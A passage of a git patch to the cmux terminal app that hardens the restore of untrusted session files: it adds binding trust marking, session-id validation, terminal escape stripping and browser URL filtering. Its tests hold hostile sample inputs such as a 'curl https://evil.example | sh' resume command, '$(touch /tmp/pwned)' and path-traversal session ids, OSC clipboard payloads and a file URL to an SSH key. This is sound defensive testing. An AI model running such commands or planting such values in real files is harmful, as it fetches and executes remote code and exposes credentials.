or trigger terminal replies. - Mark imported resume bindings as untrusted session-import bindings: the approval store never matches them (even an existing auto-approved prefix), never records approvals, and never prompts for them. - Only auto-resume rebuilt built-in agents when their working directory exists locally and is not flagged for remote trust. - Tighten session ids: no leading dot, '..', ':', '+', or separators. - Browser panels keep only http(s) URLs/history and drop profile, dev tools, diff-viewer and cloud provenance; drop surface projections and text box draft attachments. - Export without --force creates the destination exclusively (O_EXCL), and treats a planted symlink as an existing file. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com> --- .../Session/SessionSnapshotRepository.swift | 14 +- .../SessionSnapshotTransferTests.swift | 14 + README.md | 18 +- Sources/SessionPersistence.swift | 39 ++- Sources/SessionSnapshotImportTrust.swift | 258 ++++++++++++-- ...faceResumeApprovalSigningSecretCache.swift | 11 + ...inalController+SurfaceResumeApproval.swift | 2 +- .../SessionSnapshotImportTrustTests.swift | 320 ++++++++++++++++-- 8 files changed, 604 insertions(+), 72 deletions(-) diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift index fd274d76eb77..57cc02c94b97 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift @@ -196,7 +196,7 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti if ownFiles.contains(where: { Self.sameFile($0, destination) }) { return .failure(.destinationIsLiveSnapshot(destination)) } - if !overwrite && fileManager.fileExists(atPath: destination.path) { + if !overwrite && itemExists(at: destination) { return .failure(.destinationExists(destination)) } for sourceURL in [defaultSnapshotFileURL(), manualRestoreSnapshotFileURL()].compactMap({ $0 }) { @@ -212,15 +212,25 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti withIntermediateDirectories: true, attributes: nil ) - try data.write(to: destination, options: .atomic) + // Without overwrite, create the file exclusively (O_EXCL) so + // a file that appears after the check above is never replaced. + try data.write(to: destination, options: overwrite ? .atomic : .withoutOverwriting) return .success(sourceURL) } catch { + if !overwrite && itemExists(at: destination) { + return .failure(.destinationExists(destination)) + } return .failure(.writeFailed(destination)) } } return .failure(.noSnapshot) } + /// Whether anything, including a dangling symlink, occupies `url`. + private func itemExists(at url: URL) -> Bool { + (try? fileManager.attributesOfItem(atPath: url.path)) != nil + } + @discardableResult public func preserveNewerSchemaSnapshot(fileURL: URL) -> URL? { guard let data = try? Data(contentsOf: fileURL), diff --git a/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift b/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift index df595abbe872..6cff3041a2b7 100644 --- a/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift +++ b/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift @@ -284,6 +284,20 @@ struct SessionSnapshotTransferTests { ) } + @Test("export without --force never writes through a symlink planted at the destination") + func exportDoesNotFollowPlantedSymlink() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let repository = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app") + #expect(repository.save(snapshot("w"), fileURL: nil)) + let target = dir.appendingPathComponent("victim.txt") + let destination = dir.appendingPathComponent("out.json") + try FileManager.default.createSymbolicLink(at: destination, withDestinationURL: target) + + #expect(repository.exportSnapshot(to: destination, overwrite: false).failure == .destinationExists(destination)) + #expect(!FileManager.default.fileExists(atPath: target.path)) + } + // MARK: - Newer schema side files @Test("a newer-schema snapshot is copied to a schema side file that can be imported later") diff --git a/README.md b/README.md index bf4c2b6bb88f..a59b82e4cdb3 100644 --- a/README.md +++ b/README.md @@ -339,14 +339,16 @@ cookies and logins are per install and do not move. `--from <channel>` restores another install's own session file with the same trust as your own session, including automatic agent resume. `--from <path>` treats the file as untrusted: -layout, working directories, scrollback, and browser tabs restore, but nothing in the file runs -automatically. Built-in agents (Claude Code, Codex, Amp, and the rest) resume with the command -cmux builds from the agent kind and session id, ignoring launch arguments stored in the file. -Custom agent resume commands, resume bindings, and tmux start commands are kept for manual -restore, the same as CLI-created bindings (a signed approved prefix still applies): the CLI -reports how many were held back, and in each terminal `cmux surface resume show` shows the -command and `cmux restore --surface` runs it. SSH/cloud connections and workspace environment -variables from the file are dropped. A snapshot saved by a newer cmux +layout, working directories, text scrollback, and http(s) browser tabs restore, but nothing in +the file runs automatically. Built-in agents (Claude Code, Codex, Amp, and the rest) resume with +the command cmux builds from the agent kind and session id, ignoring launch arguments stored in +the file, and only when the working directory already exists on this Mac. Custom agent resume +commands, resume bindings, and tmux start commands are kept for manual restore only (approved +resume prefixes never apply to them): the CLI reports how many were held back, and in each +terminal `cmux surface resume show` shows the command and `cmux restore --surface` runs it. +Terminal control sequences in the scrollback (clipboard, notifications, links, titles), draft +attachments, non-http(s) browser pages and profiles, SSH/cloud connections, and workspace +environment variables from the file are dropped. A snapshot saved by a newer cmux (newer session format) is refused with an error; if a downgraded cmux finds one in its own session file, it keeps a copy next to it as `session-<bundle id>.schema-v<N>.json`. diff --git a/Sources/SessionPersistence.swift b/Sources/SessionPersistence.swift index 2584998d01d7..81bc1c6600ac 100644 --- a/Sources/SessionPersistence.swift +++ b/Sources/SessionPersistence.swift @@ -385,6 +385,35 @@ struct SurfaceResumeBindingSnapshot: Codable, Equatable, Sendable { source == "cli" } + /// Source for bindings restored from an untrusted session file + /// (`cmux restore-session --from <path>`). + static let untrustedSessionImportSource = "session-import" + + /// A binding restored from an untrusted session file. It is kept for + /// manual `cmux restore --surface` only: the approval store never matches + /// it against approved prefixes and never records an approval for it. + var isUntrustedSessionImportBinding: Bool { + source == Self.untrustedSessionImportSource + } + + /// Marks this binding as coming from an untrusted session file, with no + /// automatic resume and no stored approval. + func markingUntrustedSessionImport() -> Self { + var marked = self + marked.source = Self.untrustedSessionImportSource + return marked.forcingManualRestore() + } + + /// This binding with automatic resume and any stored approval removed. + func forcingManualRestore() -> Self { + var manual = self + manual.autoResume = false + manual.approvalPolicy = .manual + manual.approvalRecordId = nil + manual.resumeEvidenceProvenance = nil + return manual + } + var allowsAutomaticResume: Bool { autoResume == true } @@ -547,8 +576,10 @@ struct SurfaceResumeApprovalRecord: Codable, Equatable, Identifiable, Sendable { func matches(_ binding: SurfaceResumeBindingSnapshot) -> Bool { // Remote approvals require a follow-up location-scoped record design that - // persists and signs an execution-location field. - guard binding.launchFlavor == .local, + // persists and signs an execution-location field. Bindings from an + // untrusted session file never match an approval. + guard !binding.isUntrustedSessionImportBinding, + binding.launchFlavor == .local, !commandPrefix.isEmpty, let tokens = SurfaceResumeCommandCanonicalizer.tokens(from: binding.command), tokens.count >= commandPrefix.count, @@ -1049,6 +1080,10 @@ enum SurfaceResumeApprovalStore { fileManager: FileManager = .default, signingSecret: Data? = nil ) -> SurfaceResumeApprovalRecord? { + // A binding from an untrusted session file never gets an approval record. + guard !binding.isUntrustedSessionImportBinding else { + return nil + } // Location-scoped signed records are the follow-up if remote approvals are wanted. guard binding.launchFlavor == .local else { return nil diff --git a/Sources/SessionSnapshotImportTrust.swift b/Sources/SessionSnapshotImportTrust.swift index 4474a669be0f..60bdc03f3e1e 100644 --- a/Sources/SessionSnapshotImportTrust.swift +++ b/Sources/SessionSnapshotImportTrust.swift @@ -9,35 +9,51 @@ struct SessionSnapshotImportTrustReport: Equatable, Sendable { /// agent registrations, trusted-source resume bindings, and tmux start /// commands taken from the file. var heldBackResumeCount = 0 - /// Workspaces whose SSH/cloud connection or environment was dropped. + /// Workspaces whose SSH/cloud connection, surface projections, or + /// environment was dropped. var droppedRemoteWorkspaceCount = 0 + /// Browser panels whose URL, history entries, profile, or cloud/diff + /// provenance was dropped. + var sanitizedBrowserPanelCount = 0 + /// Terminals whose scrollback had terminal control strings removed. + var sanitizedScrollbackCount = 0 + /// Terminals whose text box draft attachments were dropped. + var droppedDraftAttachmentCount = 0 } /// Restore policy for a session snapshot read from an arbitrary file /// (`cmux restore-session --from <path>`). /// -/// A file can carry anything, so nothing in it may run automatically on the -/// user's machine. Mirrors the policy for public CLI/socket-created surface -/// resume bindings: layout, working directories, scrollback, and browser -/// state restore normally; command-bearing state is either reconstructed by -/// cmux from known values or kept for manual restore. +/// A file can carry anything, so nothing in it may run automatically or +/// reach outside the restored windows. Mirrors, and is stricter than, the +/// policy for public CLI/socket-created surface resume bindings: layout, +/// working directories, text, and http(s) pages restore; command-bearing +/// state is either reconstructed by cmux from known values or kept for +/// manual restore only. /// /// - Built-in agents (a known `RestorableAgentKind`, or a built-in Vault /// registration id) are rebuilt from kind, session id, and working /// directory only. Launch argv, permission mode, and registration content /// from the file are discarded, so the resume command is the one cmux -/// generates for that agent. +/// generates. They auto-resume only when the working directory is an +/// existing local directory not flagged as needing remote trust. /// - Custom agent registrations stay attached for manual restore, but the /// terminal is marked as not running an agent so nothing auto-resumes. -/// - Resume bindings lose trusted sources (`agent-hook`, -/// `process-detected`) and any stored approval, so they go through the -/// signed approved-prefix check like a CLI-created binding and otherwise -/// stay manual. A hook binding already covered by a rebuilt built-in agent -/// is dropped. +/// - Resume bindings are marked as untrusted session-import bindings: the +/// approval store never matches them (not even an existing auto-approved +/// prefix) and never records approvals for them, so they only run through +/// `cmux restore --surface`. A hook binding already covered by a rebuilt +/// built-in agent is dropped. /// - tmux start commands are dropped. -/// - Workspace SSH/cloud connections and workspace environment variables are -/// dropped (SSH options such as `ProxyCommand` and variables such as -/// `BASH_ENV` execute locally). +/// - Scrollback keeps text and SGR styling only; OSC (clipboard, notification, +/// hyperlink, title, cwd), DCS, APC, PM, SOS and other control sequences +/// are removed before replay. +/// - Text box draft attachments (hidden submission text) are dropped. +/// - Browser panels keep only http/https URLs and history entries, and lose +/// their profile, dev tools, diff-viewer and cloud provenance. +/// - Workspace SSH/cloud connections, surface projections, and workspace +/// environment variables are dropped (SSH options such as `ProxyCommand` +/// and variables such as `BASH_ENV` execute locally). /// /// Snapshots read from another install's own session file (a channel import) /// keep full trust and do not go through this. @@ -70,32 +86,39 @@ enum SessionSnapshotImportTrust { } static func sanitizingUntrustedImport( - _ snapshot: AppSessionSnapshot + _ snapshot: AppSessionSnapshot, + isExistingDirectory: (String) -> Bool = Self.isExistingLocalDirectory ) -> (snapshot: AppSessionSnapshot, report: SessionSnapshotImportTrustReport) { var report = SessionSnapshotImportTrustReport() var sanitized = snapshot let builtIns = builtInRegistrationsByID + func sanitize(_ panels: [SessionPanelSnapshot]) -> [SessionPanelSnapshot] { + panels.map { + sanitizedPanel($0, builtIns: builtIns, isExistingDirectory: isExistingDirectory, report: &report) + } + } for windowIndex in sanitized.windows.indices { var window = sanitized.windows[windowIndex] for workspaceIndex in window.tabManager.workspaces.indices { var workspace = window.tabManager.workspaces[workspaceIndex] - if workspace.remote != nil || workspace.cloudVM != nil || workspace.environment?.isEmpty == false { + if workspace.remote != nil || workspace.cloudVM != nil + || workspace.environment?.isEmpty == false + || workspace.surfaceProjections?.isEmpty == false { report.droppedRemoteWorkspaceCount += 1 } workspace.remote = nil workspace.cloudVM = nil workspace.environment = nil - workspace.panels = workspace.panels.map { - sanitizedPanel($0, builtIns: builtIns, report: &report) - } + workspace.surfaceProjections = nil + workspace.panels = sanitize(workspace.panels) if var dock = workspace.dock { - dock.panels = dock.panels.map { sanitizedPanel($0, builtIns: builtIns, report: &report) } + dock.panels = sanitize(dock.panels) workspace.dock = dock } window.tabManager.workspaces[workspaceIndex] = workspace } if var dock = window.dock { - dock.panels = dock.panels.map { sanitizedPanel($0, builtIns: builtIns, report: &report) } + dock.panels = sanitize(dock.panels) window.dock = dock } sanitized.windows[windowIndex] = window @@ -103,13 +126,25 @@ enum SessionSnapshotImportTrust { return (sanitized, report) } + static func isExistingLocalDirectory(_ path: String) -> Bool { + guard path.hasPrefix("/") else { return false } + var isDirectory: ObjCBool = false + return FileManager.default.fileExists(atPath: path, isDirectory: &isDirectory) && isDirectory.boolValue + } + private static func sanitizedPanel( _ panel: SessionPanelSnapshot, builtIns: [String: CmuxVaultAgentRegistration], + isExistingDirectory: (String) -> Bool, report: inout SessionSnapshotImportTrustReport ) -> SessionPanelSnapshot { - guard var terminal = panel.terminal else { return panel } var panel = panel + if let browser = panel.browser { + let (sanitizedBrowser, changed) = sanitizedBrowserPanel(browser) + panel.browser = sanitizedBrowser + if changed { report.sanitizedBrowserPanelCount += 1 } + } + guard var terminal = panel.terminal else { return panel } var heldBack = false var rebuiltAgent: SessionRestorableAgentSnapshot? @@ -117,6 +152,16 @@ enum SessionSnapshotImportTrust { if let rebuilt = rebuiltBuiltInAgent(agent, builtIns: builtIns) { rebuiltAgent = rebuilt terminal.agent = rebuilt + // Only launch the agent automatically in a directory the user + // already has locally and that no remote-trust rule flags. + let cwd = rebuilt.workingDirectory ?? terminal.workingDirectory + let cwdIsSafe = cwd.map(isExistingDirectory) == true + && panel.directoryRequiresRemoteTrust != true + && terminal.isRemoteTerminal != true + if !cwdIsSafe { + heldBack = heldBack || terminal.wasAgentRunning != false + terminal.wasAgentRunning = false + } } else { // Custom registration or an unsafe session id: keep it for // manual restore, never auto-resume it. @@ -138,18 +183,48 @@ enum SessionSnapshotImportTrust { if heldBack { report.heldBackResumeCount += 1 } + + if let scrollback = terminal.scrollback { + let stripped = strippingTerminalControlStrings(scrollback) + if stripped != scrollback { + report.sanitizedScrollbackCount += 1 + } + terminal.scrollback = stripped + } + + if let draft = terminal.textBoxDraft { + let textParts = draft.parts.filter { $0.kind == .text } + if textParts.count != draft.parts.count { + report.droppedDraftAttachmentCount += 1 + } + terminal.textBoxDraft = textParts.isEmpty + ? nil + : SessionTextBoxInputDraftSnapshot(isActive: draft.isActive, parts: textParts) + } + panel.terminal = terminal return panel } + /// Whether a session id is a plain token cmux can pass as one argument: + /// letters, digits, `_` and `-`, with single dots between segments. Rejects + /// empty values, leading dots or hyphens, `..`, `:`, `+`, and path + /// separators. + static func isSafeSessionID(_ sessionId: String) -> Bool { + sessionId.range( + of: "^[A-Za-z0-9_][A-Za-z0-9_-]*(\\.[A-Za-z0-9_-]+)*$", + options: .regularExpression + ) != nil && AgentRestoreCLIArgument(rawValue: sessionId) != nil + } + /// Rebuilds a built-in agent from its kind, session id, and working /// directory only, or returns nil when the agent is not built-in or its - /// session id is not a single safe token. + /// session id is not a plain token. static func rebuiltBuiltInAgent( _ agent: SessionRestorableAgentSnapshot, builtIns: [String: CmuxVaultAgentRegistration] = builtInRegistrationsByID ) -> SessionRestorableAgentSnapshot? { - guard AgentRestoreCLIArgument(rawValue: agent.sessionId) != nil else { return nil } + guard isSafeSessionID(agent.sessionId) else { return nil } let registration: CmuxVaultAgentRegistration? if let fileRegistration = agent.registration { guard let builtIn = builtIns[fileRegistration.id], @@ -174,28 +249,137 @@ enum SessionSnapshotImportTrust { ) } - /// Strips trust from a file-provided binding. Returns the binding to keep - /// (nil when a rebuilt built-in agent already covers it) and whether an - /// automatic resume was held back. + /// Marks a file-provided binding as an untrusted session import. Returns + /// the binding to keep (nil when a rebuilt built-in agent already covers + /// it) and whether it could otherwise have run automatically. private static func sanitizedBinding( _ binding: SurfaceResumeBindingSnapshot?, coveredBy rebuiltAgent: SessionRestorableAgentSnapshot? ) -> (SurfaceResumeBindingSnapshot?, Bool) { - guard var binding else { return (nil, false) } + guard let binding else { return (nil, false) } if binding.isAgentHookBinding, let rebuiltAgent, binding.checkpointId == rebuiltAgent.sessionId, binding.kind == nil || binding.kind == rebuiltAgent.kind.rawValue { return (nil, false) } - let couldAutoRun = binding.isAgentHookBinding || binding.isProcessDetected || binding.autoResume == true - if binding.isAgentHookBinding || binding.isProcessDetected { - binding.source = "cli" + // Any binding could match an existing approved prefix, so every one + // counts as held back. + return (binding.markingUntrustedSessionImport(), true) + } + + /// Removes the browser state an imported file must not control. + static func sanitizedBrowserPanel( + _ browser: SessionBrowserPanelSnapshot + ) -> (SessionBrowserPanelSnapshot, changed: Bool) { + var sanitized = browser + sanitized.urlString = browser.urlString.flatMap { isAllowedImportedURL($0) ? $0 : nil } + sanitized.backHistoryURLStrings = browser.backHistoryURLStrings?.filter(isAllowedImportedURL) + sanitized.forwardHistoryURLStrings = browser.forwardHistoryURLStrings?.filter(isAllowedImportedURL) + sanitized.profileID = nil + sanitized.cloudResource = nil + sanitized.diffViewerToken = nil + sanitized.diffViewerRequestPath = nil + sanitized.transparentBackground = nil + sanitized.developerToolsVisible = false + let changed = sanitized.urlString != browser.urlString + || sanitized.backHistoryURLStrings != browser.backHistoryURLStrings + || sanitized.forwardHistoryURLStrings != browser.forwardHistoryURLStrings + || browser.profileID != nil + || browser.cloudResource != nil + || browser.diffViewerToken != nil + || browser.diffViewerRequestPath != nil + || browser.transparentBackground != nil + || browser.developerToolsVisible + return (sanitized, changed) + } + + static func isAllowedImportedURL(_ string: String) -> Bool { + guard let scheme = URL(string: string.trimmingCharacters(in: .whitespacesAndNewlines))?.scheme?.lowercased() else { + return false + } + return scheme == "http" || scheme == "https" + } + + /// Keeps printable text, tabs, newlines, and SGR styling (`CSI … m`). + /// Drops OSC, DCS, APC, PM, and SOS strings (7-bit and C1 forms), every + /// other CSI or escape sequence, and remaining C0/C1 control characters, + /// so replayed history cannot write the clipboard (OSC 52), post + /// notifications (OSC 9/777), set hyperlinks or titles (OSC 8/0/2), report + /// a cwd (OSC 7), or trigger terminal replies. + static func strippingTerminalControlStrings(_ text: String) -> String { + let scalars = Array(text.unicodeScalars) + var output = String.UnicodeScalarView() + var index = 0 + let esc: UInt32 = 0x1B + + /// Skips a control string body starting at `start` up to and including + /// its terminator (ST as `ESC \` or C1 0x9C; BEL also ends OSC). + func skipControlString(from start: Int, allowsBEL: Bool) -> Int { + var cursor = start + while cursor < scalars.count { + let value = scalars[cursor].value + if value == 0x9C { return cursor + 1 } + if allowsBEL && value == 0x07 { return cursor + 1 } + if value == esc, cursor + 1 < scalars.count, scalars[cursor + 1] == "\\" { + return cursor + 2 + } + cursor += 1 + } + return cursor + } + + while index < scalars.count { + let scalar = scalars[index] + let value = scalar.value + if value == esc { + guard index + 1 < scalars.count else { index += 1; continue } + let next = scalars[index + 1] + switch next { + case "]": + index = skipControlString(from: index + 2, allowsBEL: true) + case "P", "_", "^", "X": + index = skipControlString(from: index + 2, allowsBEL: false) + case "[": + // CSI: parameters/intermediates 0x20-0x3F, final 0x40-0x7E. + var cursor = index + 2 + while cursor < scalars.count, (0x20...0x3F).contains(scalars[cursor].value) { + cursor += 1 + } + guard cursor < scalars.count else { index = cursor; continue } + let final = scalars[cursor] + let parameters = scalars[(index + 2)..<cursor] + let isSGR = final == "m" + && parameters.allSatisfy { ("0"..."9").contains($0) || $0 == ";" || $0 == ":" } + if isSGR { + output.append(contentsOf: scalars[index...cursor]) + } + index = cursor + 1 + default: + // Other escape sequences: drop ESC, any intermediates, and the final byte. + var cursor = index + 1 + while cursor < scalars.count, (0x20...0x2F).contains(scalars[cursor].value) { + cursor += 1 + } + index = min(cursor + 1, scalars.count) + } + continue + } + switch value { + case 0x9D: + index = skipControlString(from: index + 1, allowsBEL: true) + case 0x90, 0x98, 0x9E, 0x9F: + index = skipControlString(from: index + 1, allowsBEL: false) + case 0x09, 0x0A, 0x0D: + output.append(scalar) + index += 1 + case 0x00...0x1F, 0x7F...0x9F: + index += 1 + default: + output.append(scalar) + index += 1 + } } - binding.autoResume = false - binding.approvalPolicy = .manual - binding.approvalRecordId = nil - binding.resumeEvidenceProvenance = nil - return (binding, couldAutoRun) + return String(output) } } diff --git a/Sources/SurfaceResumeApprovalSigningSecretCache.swift b/Sources/SurfaceResumeApprovalSigningSecretCache.swift index c7083c585372..e64190107f68 100644 --- a/Sources/SurfaceResumeApprovalSigningSecretCache.swift +++ b/Sources/SurfaceResumeApprovalSigningSecretCache.swift @@ -255,6 +255,9 @@ extension SurfaceResumeApprovalStore { fileManager: FileManager = .default, signingSecret: Data ) -> SurfaceResumeBindingSnapshot { + if binding.isUntrustedSessionImportBinding { + return binding.forcingManualRestore() + } if let trustedBinding = trustedBinding(from: binding) { return trustedBinding } @@ -291,6 +294,11 @@ extension SurfaceResumeApprovalStore { fileManager: FileManager = .default, signingSecretResolution: SurfaceResumeApprovalSigningSecretResolution ) -> SurfaceResumeApprovalLookup<SurfaceResumeBindingSnapshot> { + // Untrusted session-file bindings skip approval lookup entirely: an + // approved prefix must not auto-run a file-provided command. + if binding.isUntrustedSessionImportBinding { + return .resolved(binding.forcingManualRestore()) + } if let trustedBinding = trustedBinding(from: binding) { return .resolved(trustedBinding) } @@ -338,6 +346,9 @@ extension SurfaceResumeApprovalStore { effectiveBinding: SurfaceResumeBindingSnapshot, existingRecord: SurfaceResumeApprovalRecord? )> { + if binding.isUntrustedSessionImportBinding { + return .resolved((binding.forcingManualRestore(), nil)) + } if let trustedBinding = trustedBinding(from: binding) { return .resolved((trustedBinding, nil)) } diff --git a/Sources/TerminalController+SurfaceResumeApproval.swift b/Sources/TerminalController+SurfaceResumeApproval.swift index e3849e8b19df..5e06d7c392df 100644 --- a/Sources/TerminalController+SurfaceResumeApproval.swift +++ b/Sources/TerminalController+SurfaceResumeApproval.swift @@ -20,7 +20,7 @@ extension SurfaceResumeApprovalStore { guard binding.launchFlavor == .local else { return false } - guard !binding.isCLIBinding else { + guard !binding.isCLIBinding, !binding.isUntrustedSessionImportBinding else { return false } guard !binding.isProcessDetected, !binding.isAgentHookBinding else { diff --git a/cmuxTests/SessionSnapshotImportTrustTests.swift b/cmuxTests/SessionSnapshotImportTrustTests.swift index ef16f50d612e..e317fb8fda4f 100644 --- a/cmuxTests/SessionSnapshotImportTrustTests.swift +++ b/cmuxTests/SessionSnapshotImportTrustTests.swift @@ -32,10 +32,10 @@ struct SessionSnapshotImportTrustTests { // auto-resume. #expect(terminal.agent?.registration?.resumeCommand == "curl https://evil.example | sh {{session_id}}") #expect(terminal.wasAgentRunning == false) - // The forged process-detected binding is now an ordinary manual CLI + // The forged process-detected binding is now an untrusted import // binding, and the real approval policy does not auto-run it. let binding = try #require(terminal.resumeBinding) - #expect(binding.source == "cli") + #expect(binding.isUntrustedSessionImportBinding) #expect(binding.autoResume == false) #expect(binding.approvalPolicy == .manual) #expect(binding.command == Self.untrustedTerminal().resumeBinding?.command) @@ -82,12 +82,14 @@ struct SessionSnapshotImportTrustTests { @Test("a built-in agent resumes from cmux's own command, not the file's launch argv or hook command") func builtInAgentIsRebuiltSafely() throws { let sessionId = "a22293b7-bcef-4707-8439-2f538c8517a4" + let project = try Self.makeTempDirectory() + defer { try? FileManager.default.removeItem(at: project) } var terminal = SessionTerminalPanelSnapshot( - workingDirectory: "/tmp/project", + workingDirectory: project.path, agent: SessionRestorableAgentSnapshot( kind: .claude, sessionId: sessionId, - workingDirectory: "/tmp/project", + workingDirectory: project.path, launchCommand: AgentLaunchCommandSnapshot( launcher: "claude", executablePath: "/tmp/evil/claude", @@ -118,7 +120,7 @@ struct SessionSnapshotImportTrustTests { let agent = try #require(restoredTerminal.agent) #expect(agent.kind == .claude) #expect(agent.sessionId == sessionId) - #expect(agent.workingDirectory == "/tmp/project") + #expect(agent.workingDirectory == project.path) #expect(agent.launchCommand == nil) #expect(agent.permissionMode == nil) #expect(agent.registration == nil) @@ -158,6 +160,13 @@ struct SessionSnapshotImportTrustTests { "--config=/tmp/evil", "$(touch /tmp/pwned)", "", + "..", + "../../etc/passwd", + ".hidden", + "a..b", + "host:session", + "a+b", + "dir/session", ]) func unsafeSessionIdIsHeldBack(sessionId: String) throws { let terminal = SessionTerminalPanelSnapshot( @@ -175,8 +184,264 @@ struct SessionSnapshotImportTrustTests { #expect(report.heldBackResumeCount == 1) } + @Test("safe session ids stay accepted", arguments: [ + "a22293b7-bcef-4707-8439-2f538c8517a4", + "T-1234", + "session_1.jsonl", + ]) + func safeSessionIDs(sessionId: String) { + #expect(SessionSnapshotImportTrust.isSafeSessionID(sessionId)) + } + + @Test("a built-in agent whose working directory does not exist is held back") + func builtInAgentInMissingDirectoryIsHeldBack() throws { + let terminal = SessionTerminalPanelSnapshot( + workingDirectory: "/nonexistent/cmux-import-\(UUID().uuidString)", + agent: SessionRestorableAgentSnapshot( + kind: .codex, + sessionId: "0199a3c4-5c1f-7d52-9a4e-2b1f0e7c1a11", + workingDirectory: "/nonexistent/cmux-import-\(UUID().uuidString)" + ), + wasAgentRunning: true + ) + + let (restored, report) = SessionSnapshotImportTrust.snapshotForRestore( + Self.snapshot(terminal: terminal), + source: Self.fileImport + ) + + let restoredTerminal = try #require(restored.windows.first?.tabManager.workspaces.first?.panels.first?.terminal) + #expect(restoredTerminal.agent?.kind == .codex) + #expect(restoredTerminal.wasAgentRunning == false) + #expect(report.heldBackResumeCount == 1) + } + + // MARK: - Approved prefixes never apply to imported bindings + + @Test("an existing auto approval does not auto-run an imported binding with extra arguments") + func autoApprovalDoesNotApplyToImportedBinding() throws { + let storeURL = FileManager.default.temporaryDirectory + .appendingPathComponent("cmux-import-approvals-\(UUID().uuidString).json") + defer { try? FileManager.default.removeItem(at: storeURL) } + let secret = Data("import-approval-secret".utf8) + let approved = SurfaceResumeBindingSnapshot( + command: "claude --resume first-session", + cwd: "/tmp/project", + source: "cli" + ) + let prefix = try #require( + SurfaceResumeCommandCanonicalizer.generalizedApprovalPrefix(forCommand: approved.command) + ) + _ = try #require(SurfaceResumeApprovalStore.approve( + binding: approved, + policy: .auto, + commandPrefix: prefix, + fileURL: storeURL, + signingSecret: secret + )) + let fileBinding = SurfaceResumeBindingSnapshot( + command: "claude --resume other-session --dangerously-skip-permissions", + cwd: "/tmp/project", + source: "cli", + autoResume: true, + approvalPolicy: .auto + ) + // Control: as an ordinary CLI binding the approved prefix auto-runs it. + let control = SurfaceResumeApprovalStore.applyingStoredApproval( + to: fileBinding, + fileURL: storeURL, + signingSecret: secret + ) + #expect(control.allowsAutomaticResume) + + let imported = fileBinding.markingUntrustedSessionImport() + let storeBefore = try Data(contentsOf: storeURL) + + let effective = SurfaceResumeApprovalStore.applyingStoredApproval( + to: imported, + fileURL: storeURL, + signingSecret: secret + ) + #expect(!effective.allowsAutomaticResume) + #expect(effective.approvalPolicy == .manual) + #expect(effective.approvalRecordId == nil) + guard case .resolved(let looked) = SurfaceResumeApprovalStore.applyingStoredApprovalLookup( + to: imported, + fileURL: storeURL, + signingSecret: secret + ) else { + Issue.record("expected resolved lookup") + return + } + #expect(!looked.allowsAutomaticResume) + // Imported bindings never gain an approval record, never prompt, and + // never match an existing one. + #expect(SurfaceResumeApprovalStore.approve( + binding: imported, + policy: .auto, + fileURL: storeURL, + signingSecret: secret + ) == nil) + #expect(!SurfaceResumeApprovalStore.proposalNeedsApproval(binding: imported, existingRecord: nil)) + #expect(SurfaceResumeApprovalStore.matchingRecord( + for: imported, + fileURL: storeURL, + signingSecret: secret + ) == nil) + #expect(try Data(contentsOf: storeURL) == storeBefore) + } + + // MARK: - Scrollback + + @Test("imported scrollback keeps text and SGR color but drops OSC/DCS/APC payloads", arguments: [ + "\u{1B}]52;c;ZWNobyBwd25lZA==\u{07}", + "\u{1B}]52;c;ZWNobyBwd25lZA==\u{1B}\\", + "\u{1B}]9;You have been hacked\u{07}", + "\u{1B}]777;notify;title;body\u{07}", + "\u{1B}]8;;https://evil.example\u{1B}\\link\u{1B}]8;;\u{1B}\\", + "\u{1B}]1337;File=inline=1:AAAA\u{07}", + "\u{1B}]7;file:///etc\u{07}", + "\u{1B}]0;title\u{07}", + "\u{1B}P$q\"p\u{1B}\\", + "\u{1B}_Gf=100;AAAA\u{1B}\\", + "\u{1B}^privacy\u{1B}\\", + "\u{1B}Xsos\u{1B}\\", + "\u{9D}52;c;ZWNobw==\u{9C}", + "\u{1B}[21t", + "\u{1B}[6n", + ]) + func scrollbackControlStringsAreStripped(payload: String) throws { + let original = "before \u{1B}[1;31mred\u{1B}[0m " + payload + " after\n" + let terminal = SessionTerminalPanelSnapshot(scrollback: original) + + let (restored, report) = SessionSnapshotImportTrust.snapshotForRestore( + Self.snapshot(terminal: terminal), + source: Self.fileImport + ) + + let scrollback = try #require( + restored.windows.first?.tabManager.workspaces.first?.panels.first?.terminal?.scrollback + ) + #expect(scrollback.hasPrefix("before \u{1B}[1;31mred\u{1B}[0m ")) + #expect(scrollback.hasSuffix(" after\n")) + #expect(!scrollback.contains("\u{1B}]")) + #expect(!scrollback.contains("\u{1B}P")) + #expect(!scrollback.contains("\u{1B}_")) + #expect(!scrollback.contains("\u{9D}")) + #expect(!scrollback.contains("ZWNob")) + #expect(!scrollback.contains("\u{1B}[21t")) + #expect(!scrollback.contains("\u{1B}[6n")) + #expect(report.sanitizedScrollbackCount == 1) + } + + @Test("plain scrollback with SGR color is unchanged") + func plainScrollbackIsUnchanged() { + let text = "$ ls\n\u{1B}[34mdir\u{1B}[0m\tfile\r\n" + #expect(SessionSnapshotImportTrust.strippingTerminalControlStrings(text) == text) + } + + // MARK: - Browser, drafts, docks, cloud + + @Test("imported browser panels keep only http(s) pages and lose profile and provenance") + func browserPanelsAreSanitized() throws { + let browser = SessionBrowserPanelSnapshot( + urlString: "file:///Users/me/.ssh/id_rsa", + profileID: UUID(), + shouldRenderWebView: true, + pageZoom: 1, + developerToolsVisible: true, + backHistoryURLStrings: ["https://example.com/a", "javascript:alert(1)", "file:///etc/passwd"], + forwardHistoryURLStrings: ["http://example.com/b", "cmux-diff://token/x"], + diffViewerToken: "token", + 